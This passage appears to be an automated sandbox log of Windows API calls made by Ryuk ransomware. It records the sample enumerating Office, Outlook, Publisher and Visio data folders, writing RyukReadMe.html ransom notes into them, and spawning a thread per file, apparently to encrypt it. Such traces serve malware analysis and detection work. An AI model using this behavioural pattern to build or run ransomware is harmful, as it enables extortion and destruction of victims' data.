	[0251.484] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.484] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.484] SetLastError (dwErrCode=0x0) 
	[0251.484] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.484] GetLastError () returned 0x3
	[0251.484] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.484] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0
	[0251.484] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0251.484] SetLastError (dwErrCode=0x0) 
	[0251.484] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.484] GetLastError () returned 0x3
	[0251.485] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.485] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0251.485] SetLastError (dwErrCode=0x0) 
	[0251.485] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0251.485] GetLastError () returned 0xb7
	[0251.485] CloseHandle (hObject=0x5b8) returned 1
	[0251.485] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0251.486] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.486] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x200, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1
	[0251.486] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0251.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0251.488] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.488] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4d2d00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4d2d00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4d2d00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x200, dwReserved1=0x0, cFileName="Outlook.sharing.xml.obi", cAlternateFileName="OUTLOO~1.OBI")) returned 1
	[0251.488] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0251.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc
	[0251.750] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.751] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1
	[0251.751] SetLastError (dwErrCode=0x0) 
	[0251.751] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.751] GetLastError () returned 0x3
	[0251.751] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.751] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0251.751] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0251.751] SetLastError (dwErrCode=0x0) 
	[0251.751] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.751] GetLastError () returned 0x3
	[0251.751] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0251.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.752] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0
	[0251.752] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0251.752] SetLastError (dwErrCode=0x0) 
	[0251.752] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.752] GetLastError () returned 0x3
	[0251.752] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0251.752] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.752] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0251.752] SetLastError (dwErrCode=0x0) 
	[0251.752] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0251.753] GetLastError () returned 0xb7
	[0251.753] CloseHandle (hObject=0x5b8) returned 1
	[0251.753] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0252.159] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.159] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0252.159] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0252.160] SetLastError (dwErrCode=0x0) 
	[0252.160] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.160] GetLastError () returned 0x3
	[0252.160] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.160] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
	[0252.160] SetLastError (dwErrCode=0x0) 
	[0252.160] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0252.160] GetLastError () returned 0xb7
	[0252.160] CloseHandle (hObject=0x5b8) returned 1
	[0252.161] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x200, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0252.161] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.161] SetLastError (dwErrCode=0x0) 
	[0252.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\taskschedulerconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.161] GetLastError () returned 0x3
	[0252.161] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.161] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
	[0252.161] SetLastError (dwErrCode=0x0) 
	[0252.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0252.161] GetLastError () returned 0xb7
	[0252.161] CloseHandle (hObject=0x5b8) returned 1
	[0252.162] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0252.162] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.162] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x200, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1
	[0252.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0252.165] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.165] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x200, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 1
	[0252.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8
	[0252.167] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.167] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x200, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 0
	[0252.167] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0252.167] SetLastError (dwErrCode=0x0) 
	[0252.167] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
